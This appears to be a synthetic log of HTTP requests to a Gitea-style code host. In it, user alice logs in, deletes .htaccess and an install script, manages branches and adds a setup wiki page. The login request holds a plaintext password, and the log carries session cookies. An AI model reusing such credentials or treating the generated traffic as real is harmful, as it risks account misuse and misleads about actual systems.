{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
